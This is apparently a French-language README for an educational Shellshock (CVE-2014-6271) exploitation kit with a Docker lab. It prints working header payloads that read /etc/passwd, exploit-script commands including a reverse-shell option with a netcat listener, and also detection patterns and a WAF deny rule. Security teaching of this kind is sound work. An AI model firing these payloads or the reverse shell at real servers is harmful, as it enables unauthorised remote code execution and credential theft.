
Recréation de Shellshock (CVE-2014-6271) - la vulnérabilité bash qui a mis en danger des millions de serveurs. Kit d'exploitation automatisé + méthodologie Burp Suite + laboratoire Docker. Conçu pour la recherche et l'éducation en sécurité. Projet de portfolio en sécurité offensive.
Kit d'exploitation automatisé pour CVE-2014-6271 (Shellshock)
Un projet complet de recherche en sécurité démontrant la vulnérabilité Shellshock qui a touché des millions de serveurs en 2014. Inclut un scan automatisé, des capacités d'exploitation et des recommandations défensives.
Demo
Shellshock (CVE-2014-6271) est une vulnérabilité critique dans le shell Bash qui permet l'exécution de code à distance via la manipulation de variables d'environnement. Découverte en 2014 après avoir existé pendant 22 ans, elle a touché des millions de systèmes Unix/Linux dans le monde.
Comment ça marche :
# Normal : Bash exporte les fonctions comme variables d'environnement
my_function='() { echo "hello"; }'
# Le bug : Bash continue d'analyser après la définition de la fonction
exploit='() { :;}; echo "PWNED"' # La seconde commande s'exécute
Les serveurs web utilisant CGI passent les en-têtes HTTP comme variables d'environnement à Bash, les rendant vulnérables :
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'
# Cloner et configurer
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse
# Démarrer le laboratoire vulnérable
docker-compose up -d
# Lancer l'exploitation
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"
Scanner Automatisé
Outil d'Exploitation
Environnement de Laboratoire
./exploit.sh --scan --target localhost --port 8080
./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"
# Terminal 1
nc -lvnp 4444
# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444


Modifiez l'en-tête User-Agent :
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

Le serveur exécute votre commande et renvoie la sortie.
Client (Attaquant)
│
│ Requête HTTP avec User-Agent malveillant
▼
Serveur Web
│
│ Passe l'en-tête comme variable d'environnement
▼
Script CGI
│
│ Lance un processus Bash
▼
Shell Bash
│
│ Analyse la fonction + exécute les commandes suivantes
▼
Exécution de commandes (RCE)
Lorsque Bash rencontre une définition de fonction dans une variable d'environnement :
() { :;}# Mettre à jour Bash
sudo apt-get update && sudo apt-get upgrade bash
# Désactiver CGI si non nécessaire
sudo a2dismod cgi && sudo systemctl restart apache2
# Vérifier les journaux pour les tentatives d'exploitation
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log
SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Attaque Shellshock'"
bash-apocalypse/
├── README.md
├── exploit.sh # Outil principal
├── payloads.txt # Payloads de test
├── docker-compose.yml # Configuration du laboratoire
└── screenshots/
├── intercept.png
├── Payload.png
└── result.png
À des fins éducatives uniquement. Ne testez que les systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite. L'accès non autorisé est illégal.
Conçu pour comprendre comment les vulnérabilités fonctionnent et comment se défendre contre elles. ;)